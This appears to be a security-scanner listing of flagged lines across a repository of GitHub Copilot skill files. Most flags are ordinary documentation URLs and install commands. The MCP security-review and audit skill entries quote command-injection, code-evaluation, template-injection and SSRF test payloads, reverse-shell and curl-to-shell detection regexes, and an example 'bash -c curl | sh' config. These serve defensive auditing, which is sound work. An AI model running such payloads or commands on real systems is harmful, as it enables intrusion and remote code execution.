- [Jekyll Themes](https://jekyllthemes.io/)
harness/github-copilot/skills/markdown-to-html/references/marked.md
- Network accessline 33
<script src="https://cdn.jsdelivr.net/npm/marked/lib/marked.umd.js"></script>
harness/github-copilot/skills/markdown-to-html/references/pandoc.md
- Network accessline 16
# Or download installer from https://pandoc.org/installing.html - Dangerous shell operationline 30
sudo apt-get install pandoc - Dangerous shell operationline 33
sudo dnf install pandoc - Network accessline 35
# Or download from https://pandoc.org/installing.html - Network accessline 223
- [Pandoc User's Guide](https://pandoc.org/MANUAL.html) - Network accessline 224
- [Pandoc Demos](https://pandoc.org/demos.html) - Network accessline 225
- [Pandoc FAQ](https://pandoc.org/faqs.html) - Network accessline 226
- [GitHub Repository](https://github.com/jgm/pandoc)
harness/github-copilot/skills/markdown-to-html/references/tables.md
- Network accessline 17
 - Network accessline 30
 - Network accessline 32
If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/get-started - Network accessline 36
You can use [formatting](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) such as links, inline code blocks, and text styling within your table: - Network accessline 45
 - Network accessline 56
 - Network accessline 67
 - Network accessline 71
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) - Network accessline 72
* [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)
harness/github-copilot/skills/markdown-to-html/references/writing-mathematical-expressions-to-html.md
- Network accessline 14
<p>This sentence uses <code>$</code> delimiters to show math inline: <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 15
<math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 45
<p>This sentence uses <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 46
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <mo>‘</mo> - Network accessline 47
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 54
</math-renderer> delimiters to show math inline: <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 55
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <msqrt> - Network accessline 56
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 92
<strong>The Cauchy-Schwarz Inequality</strong><br> <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 93
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <msup> - Network accessline 94
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 176
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 177
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 252
<p>The equation <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 253
<math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 283
<p><math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 317
<code>\$</code> to display a dollar sign: <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 318
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <msqrt> - Network accessline 319
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 339
<span>$</span>100 in half, we calculate <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 340
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <mn>100</mn> - Network accessline 341
<math xmlns="http://www.w3.org/1998/Math/MathML">
harness/github-copilot/skills/markdown-to-html/references/writing-mathematical-expressions.md
- Network accessline 7
To enable clear communication of mathematical expressions, GitHub supports LaTeX formatted math within Markdown. For more information, see [LaTeX/Mathematics](http://en.wikibooks.org/wiki/LaTeX/Mathematics) in Wikibooks. - Network accessline 9
GitHub's math rendering capability uses MathJax; an open source, JavaScript-based display engine. MathJax supports a wide range of LaTeX macros, and several useful accessibility extensions. For more information, see [the MathJax documentati - Network accessline 15
There are two options for delimiting a math expression inline with your text. You can either surround the expression with dollar symbols (`$`), or start the expression with <code>$\`</code> and end it with <code>\`$</code>. The latter synta - Network accessline 21
 - Network accessline 27
 - Network accessline 70
 - Network accessline 74
* [The MathJax website](http://mathjax.org) - Network accessline 75
* [Getting started with writing and formatting on GitHub](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github) - Network accessline 76
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
harness/github-copilot/skills/markstream-install/SKILL.md
- Network accessline 6
metadata: compatibility: "JavaScript or TypeScript frontend project using Vue 3, Nuxt 3/4, Vue 2.6/2.7, React 18+, Next.js, Angular 20+, or Svelte 5." documentation: "https://markstream.simonhe.me/" - Network accessline 7
compatibility: "JavaScript or TypeScript frontend project using Vue 3, Nuxt 3/4, Vue 2.6/2.7, React 18+, Next.js, Angular 20+, or Svelte 5." documentation: "https://markstream.simonhe.me/" source: "https://github.com/Simon-He95/markstre - Network accessline 8
documentation: "https://markstream.simonhe.me/" - Network accessline 9
source: "https://github.com/Simon-He95/markstream-vue" - Network accessline 34
Read `references/scenarios.md` before choosing packages or peers. Official sources are https://markstream.simonhe.me/ and https://github.com/Simon-He95/markstream-vue . - Network accessline 169
- [Installation](https://markstream.simonhe.me/guide/installation) - Network accessline 170
- [AI chat and streaming](https://markstream.simonhe.me/guide/ai-chat-streaming) - Network accessline 171
- [Performance](https://markstream.simonhe.me/guide/performance) - Network accessline 172
- [Troubleshooting](https://markstream.simonhe.me/guide/troubleshooting) - Network accessline 173
- [Component overrides](https://markstream.simonhe.me/guide/component-overrides)
harness/github-copilot/skills/mcp-builder/LICENSE.txt
harness/github-copilot/skills/mcp-builder/SKILL.md
- Network accessline 47
Start with the sitemap to find relevant pages: `https://modelcontextprotocol.io/sitemap.xml` - Network accessline 49
Then fetch specific pages with `.md` suffix for markdown format (e.g., `https://modelcontextprotocol.io/specification/draft.md`). - Network accessline 66
**For TypeScript (recommended):** - **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` - Network accessline 67
- **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` - Network accessline 70
**For Python:** - **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 71
- **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 208
### Core MCP Documentation (Load First) - **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix - Network accessline 209
- **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix - Network accessline 217
### SDK Documentation (Load During Phase 1/2) - **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 218
- **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 219
- **TypeScript SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md`
harness/github-copilot/skills/mcp-builder/reference/evaluation.md
- Access to secretsline 398
[Credential-related source omitted] - Access to secretsline 440
[Credential-related source omitted] - Access to secretsline 444
[Credential-related source omitted] - Network accessline 454
python scripts/evaluation.py \ -t sse \ -u https://example.com/mcp \ - Network accessline 455
[Credential-related source omitted] - Network accessline 456
-u https://example.com/mcp \ - Network accessline 467
python scripts/evaluation.py \ -t http \ -u https://example.com/mcp \ - Network accessline 468
[Credential-related source omitted] - Network accessline 469
-u https://example.com/mcp \ - Access to secretsline 557
[Credential-related source omitted]
harness/github-copilot/skills/mcp-builder/reference/node_mcp_server.md
- Dangerous shell operationline 541
"clean": "rm -rf dist" - Network accessline 600
// Constants const API_BASE_URL = "https://api.example.com/v1"; - Network accessline 601
const API_BASE_URL = "https://api.example.com/v1"; - Access to secretsline 707
[Credential-related source omitted] - Access to secretsline 708
[Credential-related source omitted] - Access to secretsline 719
[Credential-related source omitted] - Access to secretsline 720
[Credential-related source omitted] - Network accessline 737
const port = parseInt(process.env.PORT || '3000'); app.listen(port, () => { console.error(`MCP server running on http://localhost:${port}/mcp`); - Network accessline 738
app.listen(port, () => { console.error(`MCP server running on http://localhost:${port}/mcp`); }); - Network accessline 739
console.error(`MCP server running on http://localhost:${port}/mcp`);
harness/github-copilot/skills/mcp-builder/reference/python_mcp_server.md
- Network accessline 42
**For complete SDK documentation, use WebFetch to load:** `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 43
`https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` - Network accessline 233
async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: '''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: - Network accessline 234
'''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: response = await client.request( - Network accessline 235
async with httpx.AsyncClient() as client: - Network accessline 251
# Good: Async network request async def fetch_data(resource_id: str) -> dict: async with httpx.AsyncClient() as client: - Network accessline 252
async def fetch_data(resource_id: str) -> dict: async with httpx.AsyncClient() as client: response = await client.get(f"{API_URL}/resource/{resource_id}") - Network accessline 253
async with httpx.AsyncClient() as client: - Network accessline 258
# Bad: Synchronous request def fetch_data(resource_id: str) -> dict: response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks - Network accessline 259
def fetch_data(resource_id: str) -> dict: response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks return response.json() - Network accessline 260
response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks - Network accessline 352
# Constants API_BASE_URL = "https://api.example.com/v1" - Network accessline 353
API_BASE_URL = "https://api.example.com/v1" - Network accessline 382
async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: '''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: - Network accessline 383
'''Reusable function for all API calls.''' async with httpx.AsyncClient() as client: response = await client.request( - Network accessline 384
async with httpx.AsyncClient() as client: - Access to secretsline 511
[Credential-related source omitted] - Access to secretsline 517
[Credential-related source omitted]
harness/github-copilot/skills/mcp-builder/scripts/connections.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/mcp-builder/scripts/evaluation.py
harness/github-copilot/skills/mcp-create-adaptive-cards/SKILL.md
- Network accessline 127
{ "type": "AdaptiveCard", "$schema": "https://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 128
"type": "AdaptiveCard", "$schema": "https://adaptivecards.io/schemas/adaptive-card.json", "version": "1.5", - Network accessline 129
"$schema": "https://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 162
- [Adaptive Card Designer](https://adaptivecards.microsoft.com/designer) - Network accessline 163
- [Adaptive Card Schema](https://adaptivecards.io/schemas/adaptive-card.json) - Network accessline 164
- [Template Language](https://learn.microsoft.com/en-us/adaptive-cards/templating/language) - Network accessline 165
- [JSONPath](https://www.rfc-editor.org/rfc/rfc9535)
harness/github-copilot/skills/mcp-create-adaptive-cards/references/card-reference-examples.md
- Network accessline 25
"static_template": { "type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 26
"type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", "version": "1.5", - Network accessline 27
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 125
} ], "$schema": "http://adaptivecards.io/schemas/adaptive-card.json" - Network accessline 126
], "$schema": "http://adaptivecards.io/schemas/adaptive-card.json" }, - Network accessline 127
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json" - Network accessline 156
} ], "$schema": "http://adaptivecards.io/schemas/adaptive-card.json" - Network accessline 157
], "$schema": "http://adaptivecards.io/schemas/adaptive-card.json" } - Network accessline 158
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json" - Network accessline 221
{ "type": "Image", "url": "https://example.com/image.png", - Network accessline 222
"type": "Image", "url": "https://example.com/image.png", "size": "medium", // auto, stretch, small, medium, large - Network accessline 223
"url": "https://example.com/image.png", - Network accessline 265
"type": "Action.OpenUrl", "title": "View Details", "url": "https://example.com/item/${id}" - Network accessline 266
"title": "View Details", "url": "https://example.com/item/${id}" } - Network accessline 267
"url": "https://example.com/item/${id}" - Network accessline 288
"static_template": { "type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", - Network accessline 289
"type": "AdaptiveCard", "$schema": "http://adaptivecards.io/schemas/adaptive-card.json", "version": "1.5", - Network accessline 290
"$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
harness/github-copilot/skills/mcp-create-declarative-agent/SKILL.md
- Network accessline 21
- Use Microsoft 365 Agents Toolkit project conventions and generated `appPackage/` files. - The MCP server must expose server metadata, a tools listing endpoint, and tool execution endpoint. - Test the finished agent in Microsoft 365 Copilo - Network accessline 22
- The MCP server must expose server metadata, a tools listing endpoint, and tool execution endpoint. - Test the finished agent in Microsoft 365 Copilot at `https://m365.cloud.microsoft/chat`. - Store secrets in `.env.local` or `.env.dev`; n - Network accessline 23
- Test the finished agent in Microsoft 365 Copilot at `https://m365.cloud.microsoft/chat`. - Access to secretsline 24
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Network accessline 49
{"$schema":"https://developer.microsoft.com/json-schemas/teams/vDevPreview/MicrosoftTeams.schema.json","manifestVersion":"devPreview","version":"1.0.0","id":"...","developer":{"name":"...","websiteUrl":"...","privacyUrl":"...","termsOfUseUr - Network accessline 55
{"$schema":"https://aka.ms/json-schemas/copilot/declarative-agent/v1.0/schema.json","version":"v1.0","name":"Agent Name","description":"Agent description","instructions":"You are an assistant that helps with [specific domain]. Use the avail - Network accessline 61
{"schema_version":"v2.1","name_for_human":"Service Name","description_for_human":"Description for users","description_for_model":"Description for AI model","contact_email":"support@company.com","namespace":"serviceName","capabilities":{"con - Network accessline 67
{"serverUrl":"https://{api-host}/mcp/","pluginFilePath":"appPackage/ai-plugin.json"} - Network accessline 85
| Need | Configuration | | --- | --- | | OAuth 2.0 static registration | Use `"type": "OAuthPluginVault"`, `"reference_id": "${{OAUTH_REFERENCE_ID}}"`, `"authorization_url": "https://{auth-host}/authorize"`, `"client_id": "${{CLIENT_ID}}"`, - Network accessline 86
[Credential-related source omitted] - Network accessline 87
[Credential-related source omitted] - Access to secretsline 87
[Credential-related source omitted] - Network accessline 94
| Server | URL | Tools | Auth | | --- | --- | --- | --- | | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 | - Network accessline 95
| --- | --- | --- | --- | | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 | | Jira MCP Server | `https://your-domain.atlassian.net/mcp/` | `search_issues`, `cr - Network accessline 96
| GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 | - Network accessline 97
| Jira MCP Server | `https://your-domain.atlassian.net/mcp/` | `search_issues`, `create_issue`, `update_issue` | OAuth 2.0 | - Network accessline 98
| Custom Service | `https://{api-host}/mcp/` | Custom tools exposed by your service | OAuth 2.0 or SSO | - Network accessline 140
- Provisioning: pass | not run | blocked - Local debug/sideload: pass | not run | blocked - Microsoft 365 Copilot test at `https://m365.cloud.microsoft/chat`: pass | not run | blocked - Network accessline 142
- Microsoft 365 Copilot test at `https://m365.cloud.microsoft/chat`: pass | not run | blocked - Access to secretsline 151
[Credential-related source omitted] - Network accessline 157
- [Microsoft Teams manifest schema](https://developer.microsoft.com/json-schemas/teams/vDevPreview/MicrosoftTeams.schema.json) - Network accessline 158
- [Declarative agent schema](https://aka.ms/json-schemas/copilot/declarative-agent/v1.0/schema.json) - Network accessline 159
- [Microsoft 365 Copilot chat](https://m365.cloud.microsoft/chat)
harness/github-copilot/skills/mcp-deploy-manage-agents/SKILL.md
- Network accessline 21
- Access the Microsoft 365 admin center at https://admin.microsoft.com/ for tenant agent registry, availability, deployment, blocking, and assignment. - Network accessline 22
- Use the Power Platform admin center at https://admin.powerplatform.microsoft.com/ when the agent is an App Builder agent, Workflows agent, agent studio agent, or flow-backed agent. - Network accessline 23
- Use Partner Center at https://learn.microsoft.com/en-us/partner-center/ only for public Agent Store submission and validation. - Network accessline 135
- [Microsoft 365 admin center](https://admin.microsoft.com/) - Network accessline 136
- [Power Platform admin center](https://admin.powerplatform.microsoft.com/) - Network accessline 137
- [Partner Center for agent submissions](https://learn.microsoft.com/en-us/partner-center/) - Network accessline 138
- [Microsoft Agent 365 Overview](https://learn.microsoft.com/en-us/microsoft-agent-365/overview) - Network accessline 139
- [Agent Registry Documentation](https://learn.microsoft.com/en-us/microsoft-365/admin/manage/agent-registry)
harness/github-copilot/skills/mcp-implementation-security-review/SKILL.md
- Network accessline 104
| Vector | Dangerous code | Safe alternative | Test payload | CWE | | --- | --- | --- | --- | --- | | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `e - Network accessline 105
| --- | --- | --- | --- | --- | | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", us - Dangerous shell operationline 106
| Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm - Network accessline 106
| Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm - Dangerous shell operationline 107
| Dynamic code evaluation | `eval(args.expression)`, `exec(tool_output)`, `new Function(args.code)()` | Sandboxed parser, AST-based evaluation, or predefined allowlist. | `__import__('os').system('whoami')`, `require('child_process').exec(' - Network accessline 110
| SSTI | `Template(user_input).render()`, `Handlebars.compile(args.template)({data})` | Never use user input as template source; use predefined templates with parameters only. | `{{7*7}}`, `${7*7}`, `<%= 7*7 %>` must not render `49`. | CWE- - Network accessline 112
| SSRF | `requests.get(user_param)`, `fetch(user_input)`, `HttpClient.GetAsync(user_input)` | Allowlist schemes/domains, block RFC1918 and link-local targets, validate URLs before sending. | `http://169.254.169.254/latest/meta-data/`, `http - Network accessline 195
- [MCP specification 2025-03-26](https://modelcontextprotocol.io/specification/2025-03-26) - Network accessline 196
- [MCP specification 2025-11-25](https://modelcontextprotocol.io/specification/2025-11-25)
harness/github-copilot/skills/mcp-security-audit/SKILL.md
- Network accessline 67
(r'(?i)bash\s+-c\s', "bash -c execution"), (r'(?i)sh\s+-c\s', "sh -c execution"), (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"), - Network accessline 68
(r'(?i)sh\s+-c\s', "sh -c execution"), (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"), (r'curl\s+.*\|\s*(ba)?sh', "curl pipe to shell"), - Dangerous shell operationline 69
(r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"), - Network accessline 69
(r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"), - Network accessline 70
(r'curl\s+.*\|\s*(ba)?sh', "curl pipe to shell"), - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 83
[Credential-related source omitted] - Network accessline 149
[Credential-related source omitted] - Access to secretsline 150
[Credential-related source omitted] - Dangerous shell operationline 151
| `"command": "node", "args": ["server.js"]` | `"command": "bash", "args": ["-c", "curl example | sh"]` | - Network accessline 151
| `"command": "node", "args": ["server.js"]` | `"command": "bash", "args": ["-c", "curl example | sh"]` | - Access to secretsline 177
[Credential-related source omitted] - Network accessline 185
- [MCP Specification](https://modelcontextprotocol.io/) - Network accessline 186
- [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit) - Network accessline 187
- [OWASP ASI-02: Insecure Tool Use](https://genai.owasp.org/)
harness/github-copilot/skills/md-to-docx/scripts/md-to-docx.mjs
- Executable scriptline 1
Executable file
harness/github-copilot/skills/md-to-docx/scripts/package.json
- Executable scriptline 1
Executable file
harness/github-copilot/skills/meeting-minutes/SKILL.md
- Network accessline 62
| Due date | Every action item must include `YYYY-MM-DD`, `ASAP`, or a clear timeframe. | | Acceptance criteria | Add what completes the action whenever possible. | | Traceability | Link tickets, slides, recordings, or URLs when provided, f - Network accessline 63
| Acceptance criteria | Add what completes the action whenever possible. | | Traceability | Link tickets, slides, recordings, or URLs when provided, for example `https://github.com/owner/repo/issues/123`. | | Uncertainty | Do not infer unsu - Network accessline 64
| Traceability | Link tickets, slides, recordings, or URLs when provided, for example `https://github.com/owner/repo/issues/123`. |
harness/github-copilot/skills/mentoring-juniors/SKILL.md
harness/github-copilot/skills/microsoft-agent-framework/SKILL.md
- Network accessline 21
- Microsoft Agent Framework is in public preview and changes quickly. - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Network accessline 22
- Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Prefer official docs and samples for current APIs; treat older Semantic Kernel and AutoG - Network accessline 50
| Source | Rule | Official guide | | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kerne - Network accessline 51
| --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | | AutoGen | Preserve agent in - Network accessline 52
| Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | - Network accessline 53
| AutoGen | Preserve agent interactions and orchestration semantics before replacing abstractions. | `https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/` | - Network accessline 104
- [Microsoft Agent Framework overview](https://learn.microsoft.com/agent-framework/overview/agent-framework-overview) - Network accessline 105
- [Migration guide from Semantic Kernel](https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/) - Network accessline 106
- [Migration guide from AutoGen](https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/)
harness/github-copilot/skills/microsoft-agent-framework/references/dotnet.md
harness/github-copilot/skills/microsoft-agent-framework/references/python.md
harness/github-copilot/skills/microsoft-code-reference/SKILL.md
- Network accessline 4
Look up official Microsoft API references, SDK signatures, packages, and working code samples before writing or fixing Azure SDK, .NET, Microsoft Graph, or Microsoft API code. Use when verifying method names, overloads, parameters, authenti - Network accessline 5
metadata: compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." --- - Network accessline 6
compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." - Network accessline 126
- [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)
harness/github-copilot/skills/microsoft-docs/SKILL.md
harness/github-copilot/skills/microsoft-skill-creator/SKILL.md
- Network accessline 4
Create hybrid GitHub Copilot skills for Microsoft technologies using Microsoft Learn MCP tools or the mslearn CLI. Use this skill when the user asks to create a skill for Azure, .NET, Microsoft 365, VS Code, Bicep, Semantic Kernel, a Micros - Network accessline 5
metadata: compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." context: "fork" - Network accessline 6
compatibility: "Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback." - Network accessline 24
- Prefer the Microsoft Learn MCP Server at `https://learn.microsoft.com/api/mcp` when available. - Network accessline 99
For a Semantic Kernel skill, use `semantic-kernel/`, `sample_codes/getting-started/hello-kernel.cs`, `sample_codes/common-patterns/chat-completion.cs`, and `sample_codes/common-patterns/function-calling.cs`. Useful seed lookups include `mic - Network accessline 151
- [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp) - Network accessline 152
- [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/) - Network accessline 153
- [Semantic Kernel agent memory](https://learn.microsoft.com/en-us/semantic-kernel/frameworks/agent/agent-memory)
harness/github-copilot/skills/mini-context-graph/references/lint.md
- Dangerous shell operationline 48
# rm wiki/{category}/{slug}.md
harness/github-copilot/skills/mini-context-graph/scripts/config.py
harness/github-copilot/skills/mini-context-graph/scripts/contextgraph.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/mini-context-graph/scripts/template_agent_workflow.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/mini-context-graph/scripts/tools/__init__.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/mini-context-graph/scripts/tools/documents_store.py
harness/github-copilot/skills/mini-context-graph/scripts/tools/graph_store.py
harness/github-copilot/skills/mini-context-graph/scripts/tools/index_store.py
harness/github-copilot/skills/mini-context-graph/scripts/tools/ontology_store.py
harness/github-copilot/skills/mini-context-graph/scripts/tools/retrieval_engine.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/mini-context-graph/scripts/tools/wiki_store.py
harness/github-copilot/skills/modernization-workspace-kit/scripts/install_workspace_kit.py
harness/github-copilot/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py
harness/github-copilot/skills/msgraph-sdk/SKILL.md
- Network accessline 70
| Resource data notifications | High-volume scenarios need changed resource payloads. | Requires additional encryption setup. | | Retry middleware | Production workloads may hit 429. | Enable SDK retry middleware or implement exact `Retry-A - Network accessline 72
| Least privilege | Avoid broad permissions. | Use https://learn.microsoft.com/graph/permissions-reference and admin consent only when required. | - Network accessline 147
- [Microsoft Graph overview](https://learn.microsoft.com/graph/overview) - Network accessline 148
- [Graph Explorer](https://developer.microsoft.com/graph/graph-explorer) - Network accessline 149
- [Graph permissions reference](https://learn.microsoft.com/graph/permissions-reference)
harness/github-copilot/skills/msgraph-sdk/references/dotnet.md
- Network accessline 7
- SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-dotnet> - Network accessline 8
- Samples: <https://github.com/microsoftgraph/msgraph-training-dotnet> - Network accessline 9
- SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-dotnet/blob/main/CHANGELOG.md> - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted]
harness/github-copilot/skills/msgraph-sdk/references/python.md
- Network accessline 7
- SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-python> - Network accessline 8
- Samples: <https://github.com/microsoftgraph/msgraph-training-python> - Network accessline 9
- SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-python/blob/main/CHANGELOG.md> - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Network accessline 210
[Credential-related source omitted] - Network accessline 211
[Credential-related source omitted] - Network accessline 212
async with httpx.AsyncClient() as client: - Network accessline 213
[Credential-related source omitted] - Network accessline 214
"https://graph.microsoft.com/v1.0/$batch",
harness/github-copilot/skills/msgraph-sdk/references/typescript.md
- Network accessline 7
- SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-javascript> - Network accessline 8
- Samples: <https://github.com/microsoftgraph/msgraph-training-typescript> - Network accessline 9
- SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-javascript/blob/main/CHANGELOG.md> - Network accessline 33
const credential = new DefaultAzureCredential(); const authProvider = new TokenCredentialAuthenticationProvider(credential, { scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Network accessline 34
const authProvider = new TokenCredentialAuthenticationProvider(credential, { scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], }); - Network accessline 35
scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Access to secretsline 49
[Credential-related source omitted] - Network accessline 52
const authProvider = new TokenCredentialAuthenticationProvider(credential, { scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Network accessline 53
scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Access to secretsline 68
[Credential-related source omitted] - Network accessline 72
const authProvider = new TokenCredentialAuthenticationProvider(credential, { scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Network accessline 73
scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Network accessline 88
// Opens a browser tab — requires redirect URI http://localhost in app registration
harness/github-copilot/skills/msstore-cli/SKILL.md
- Network accessline 37
Use the Microsoft Store package at `https://www.microsoft.com/store/apps/9P53PC5S0PHJ` or manual releases at `https://aka.ms/msstoredevcli/releases` when WinGet is not appropriate. - Network accessline 41
1. Go to `https://learn.microsoft.com/en-us/partner-center/` and open Partner Center. - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Network accessline 139
- [Microsoft Store Developer CLI Documentation](https://learn.microsoft.com/windows/apps/publish/msstore-dev-cli/overview) - Network accessline 140
